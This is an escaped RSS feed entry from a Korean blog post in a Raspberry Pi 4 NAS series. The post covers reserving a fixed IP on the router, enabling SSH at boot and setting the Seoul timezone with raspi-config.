&lt;figure id=&quot;og_1626695321177&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;[라즈베리파이4 NAS 설치 1] 모니터 없이 Raspberry Pi OS( 구 라즈비안, Raspbian) 설치&quot; data-og-description=&quot;원래는 NAS로 헤놀로지(XPenology)를 설치하고 싶었으나... 집에서 먼지만 쌓여가는 라즈베리 파이를 사용하기 위해... 라즈베리파이에 OMV5를 설치하여 사용하려고 합니다. 준비물 라즈베리 파이에 N&quot; data-og-host=&quot;chmodi.tistory.com&quot; data-og-source-url=&quot;https://chmodi.tistory.com/116&quot; data-og-url=&quot;https://chmodi.tistory.com/116&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/WTbPD/hyKWNUBoA5/OiOVKbJbJL0wDiL3u3q1o1/img.png?width=700&amp;amp;height=674&amp;amp;face=0_0_700_674,https://scrap.kakaocdn.net/dn/hHOUx/hyKWPx74QE/HAKR44bjWlxDoKrOkH3IMK/img.png?width=700&amp;amp;height=674&amp;amp;face=0_0_700_674,https://scrap.kakaocdn.net/dn/clzZIH/hyKWH1aeoX/3VNN2f47W0SGgDqN4O2dZ1/img.jpg?width=960&amp;amp;height=960&amp;amp;face=0_0_960_960&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/116&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://chmodi.tistory.com/116&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/WTbPD/hyKWNUBoA5/OiOVKbJbJL0wDiL3u3q1o1/img.png?width=700&amp;amp;height=674&amp;amp;face=0_0_700_674,https://scrap.kakaocdn.net/dn/hHOUx/hyKWPx74QE/HAKR44bjWlxDoKrOkH3IMK/img.png?width=700&amp;amp;height=674&amp;amp;face=0_0_700_674,https://scrap.kakaocdn.net/dn/clzZIH/hyKWH1aeoX/3VNN2f47W0SGgDqN4O2dZ1/img.jpg?width=960&amp;amp;height=960&amp;amp;face=0_0_960_960');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;[라즈베리파이4 NAS 설치 1] 모니터 없이 Raspberry Pi OS( 구 라즈비안, Raspbian) 설치&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;원래는 NAS로 헤놀로지(XPenology)를 설치하고 싶었으나... 집에서 먼지만 쌓여가는 라즈베리 파이를 사용하기 위해... 라즈베리파이에 OMV5를 설치하여 사용하려고 합니다. 준비물 라즈베리 파이에 N&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;chmodi.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;공유기 DHCP 설정&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 방법으로 OS설치를 하고 부팅을 하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공유기에 의해 동적 IP가 잡히고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 IP로 SSH 접속을 하면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약. &lt;u&gt;&lt;b&gt;IP를 고정&lt;/b&gt;&lt;/u&gt;하고 싶은 분은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단, 공유기에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;라즈베리파이의 MAC과&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;원하는 IP를 고정&lt;/b&gt;&lt;/u&gt;합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;671&quot; width=&quot;650&quot; height=&quot;623&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bEJh8x/btq92yfs6rH/GFPzMWmPkL33rUuQgqQAO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bEJh8x/btq92yfs6rH/GFPzMWmPkL33rUuQgqQAO1/img.png&quot; data-alt=&quot;공유기에서 Raspberrypi IP-Mac 고정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bEJh8x/btq92yfs6rH/GFPzMWmPkL33rUuQgqQAO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbEJh8x%2Fbtq92yfs6rH%2FGFPzMWmPkL33rUuQgqQAO1%2Fimg.png&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;671&quot; width=&quot;650&quot; height=&quot;623&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;공유기에서 Raspberrypi IP-Mac 고정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;재부팅을 여러번 하기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OMV 설치 전까지는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 설정이 편합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고, 라즈베리파이는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;공유기와&amp;nbsp;유선으로 연결&lt;/b&gt;&lt;/u&gt;합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 다운로드 및&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스트리밍 서버이기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무선보다 빠른 유선이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;편합니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;SSH 자동 시작&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재는 임시로 SSH를 동작시킨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;상태이기 때문에,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설정을 변경하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;부팅할 때마다 SSH를 동작하도록&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설정해야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;1. 우선,&amp;nbsp; 라즈베리파이 설정 Tool을 실행합니다.&lt;br /&gt;&lt;b&gt;&lt;u&gt;$ sudo raspi-config&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;2. 아래 순서대로 선택합니다.&lt;br /&gt;&lt;u&gt;&lt;b&gt;3 Interface Options &amp;gt; P2 SSH &amp;gt; Yes &amp;gt; OK&lt;/b&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;644&quot; data-origin-height=&quot;291&quot; width=&quot;650&quot; height=&quot;294&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vqfN6/btq9OGT4LqH/VknVJe3uYkD1snOgncbdek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vqfN6/btq9OGT4LqH/VknVJe3uYkD1snOgncbdek/img.png&quot; data-alt=&quot;3 Interface Options 선택&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vqfN6/btq9OGT4LqH/VknVJe3uYkD1snOgncbdek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvqfN6%2Fbtq9OGT4LqH%2FVknVJe3uYkD1snOgncbdek%2Fimg.png&quot; data-origin-width=&quot;644&quot; data-origin-height=&quot;291&quot; width=&quot;650&quot; height=&quot;294&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;3 Interface Options 선택&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;644&quot; data-origin-height=&quot;292&quot; width=&quot;650&quot; height=&quot;295&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8ZI92/btq9WqvRklC/vOKVw5aweKJNbq9oRLzO60/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8ZI92/btq9WqvRklC/vOKVw5aweKJNbq9oRLzO60/img.png&quot; data-alt=&quot;P2 SSH 선택&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8ZI92/btq9WqvRklC/vOKVw5aweKJNbq9oRLzO60/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8ZI92%2Fbtq9WqvRklC%2FvOKVw5aweKJNbq9oRLzO60%2Fimg.png&quot; data-origin-width=&quot;644&quot; data-origin-height=&quot;292&quot; width=&quot;650&quot; height=&quot;295&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;P2 SSH 선택&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;638&quot; data-origin-height=&quot;319&quot; width=&quot;650&quot; height=&quot;325&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bt3FUC/btq91NcSiTQ/Fk7SXRIaWUwpRx4QRdxW20/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bt3FUC/btq91NcSiTQ/Fk7SXRIaWUwpRx4QRdxW20/img.png&quot; data-alt=&quot;Yes&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bt3FUC/btq91NcSiTQ/Fk7SXRIaWUwpRx4QRdxW20/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbt3FUC%2Fbtq91NcSiTQ%2FFk7SXRIaWUwpRx4QRdxW20%2Fimg.png&quot; data-origin-width=&quot;638&quot; data-origin-height=&quot;319&quot; width=&quot;650&quot; height=&quot;325&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Yes&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Timezone 설정&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한국으로 지역을 설정하는 방법입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;라즈베리파이 설정 tool을 실행합니다.&lt;span style=&quot;background-color: #1e1f21; color: #666666;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;1. 우선,&amp;nbsp; 라즈베리파이 설정 Tool을 실행합니다.&lt;br /&gt;&lt;b&gt;&lt;u&gt;$ sudo raspi-config&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;2. 아래 순서대로 선택합니다.&lt;br /&gt;&lt;u&gt;&lt;b&gt;5 Localisation Options &amp;gt; L2 Timezone &amp;gt; Asia&amp;nbsp;-&amp;nbsp;Seoul&lt;/b&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;643&quot; data-origin-height=&quot;290&quot; data-filename=&quot;이미지 004.png&quot; width=&quot;650&quot; height=&quot;293&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LpLro/btq9TEItBY6/IXpPzk6kHwJ3pbBPdH2cMk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LpLro/btq9TEItBY6/IXpPzk6kHwJ3pbBPdH2cMk/img.png&quot; data-alt=&quot;5 Localisation Options 선택&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LpLro/btq9TEItBY6/IXpPzk6kHwJ3pbBPdH2cMk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLpLro%2Fbtq9TEItBY6%2FIXpPzk6kHwJ3pbBPdH2cMk%2Fimg.png&quot; data-origin-width=&quot;643&quot; data-origin-height=&quot;290&quot; data-filename=&quot;이미지 004.png&quot; width=&quot;650&quot; height=&quot;293&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;5 Localisation Options 선택&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;641&quot; data-origin-height=&quot;289&quot; data-filename=&quot;이미지 005.png&quot; width=&quot;650&quot; height=&quot;293&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vA8Q7/btq9PoZVgwD/mATam4YkeTjkkh9IAsny3k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vA8Q7/btq9PoZVgwD/mATam4YkeTjkkh9IAsny3k/img.png&quot; data-alt=&quot;L2 Timezone 선택&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vA8Q7/btq9PoZVgwD/mATam4YkeTjkkh9IAsny3k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvA8Q7%2Fbtq9PoZVgwD%2FmATam4YkeTjkkh9IAsny3k%2Fimg.png&quot; data-origin-width=&quot;641&quot; data-origin-height=&quot;289&quot; data-filename=&quot;이미지 005.png&quot; width=&quot;650&quot; height=&quot;293&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;L2 Timezone 선택&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;423&quot; data-filename=&quot;이미지 006.png&quot; width=&quot;650&quot; height=&quot;428&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/do7FVm/btq91TRvA5u/2OGFDpuzM4Sqlk6EXzfK61/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/do7FVm/btq91TRvA5u/2OGFDpuzM4Sqlk6EXzfK61/img.png&quot; data-alt=&quot;Asia - Seoul 선택&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/do7FVm/btq91TRvA5u/2OGFDpuzM4Sqlk6EXzfK61/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdo7FVm%2Fbtq91TRvA5u%2F2OGFDpuzM4Sqlk6EXzfK61%2Fimg.png&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;423&quot; data-filename=&quot;이미지 006.png&quot; width=&quot;650&quot; height=&quot;428&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Asia - Seoul 선택&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;653&quot; data-origin-height=&quot;164&quot; data-filename=&quot;이미지 007.png&quot; width=&quot;650&quot; height=&quot;163&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xvuBS/btq91NRrO02/6YgsgQ8LmComksCN6kt2U0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xvuBS/btq91NRrO02/6YgsgQ8LmComksCN6kt2U0/img.png&quot; data-alt=&quot;완료&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xvuBS/btq91NRrO02/6YgsgQ8LmComksCN6kt2U0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxvuBS%2Fbtq91NRrO02%2F6YgsgQ8LmComksCN6kt2U0%2Fimg.png&quot; data-origin-width=&quot;653&quot; data-origin-height=&quot;164&quot; data-filename=&quot;이미지 007.png&quot; width=&quot;650&quot; height=&quot;163&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;완료&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;다음 글에 이어서...&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본 계정을 변경해줘야 하는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내용이 길어서 따로 작성합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/116&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2020.12.13 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS 설치 1] 모니터 없이 Raspberry Pi OS( 구 라즈비안, Raspbian) 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/140&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-1. 기본 세팅&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/141&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-2. 계정 변경&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/142&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 2. 업데이트 및 OMV 5 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/143&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 3. OMV 5 설정(IP, 호스트네임, 관리자 암호)&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/144&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-1. 외장하드 포맷&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/145&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-2. 외장하드 마운트 및 자동 마운트&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/146&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 5. Docker, Portainer 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/147&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-1. 토렌트: transmission 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/148&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.21 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-2. 토렌트: transmission 설정&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>NAS/Raspberry Pi</category>
      <category>docker</category>
      <category>media server</category>
      <category>omv</category>
      <category>PORTAINER</category>
      <category>raspberry pi</category>
      <category>라즈베리파이</category>
      <category>미디어 서버</category>
      <category>홈 스트리밍</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/140</guid>
      <comments>https://chmodi.tistory.com/140#entry140comment</comments>
      <pubDate>Mon, 19 Jul 2021 21:57:21 +0900</pubDate>
    </item>
    <item>
      <title>윈도우 10 시작프로그램 레지스트리로 관리하기(regedit.exe)</title>
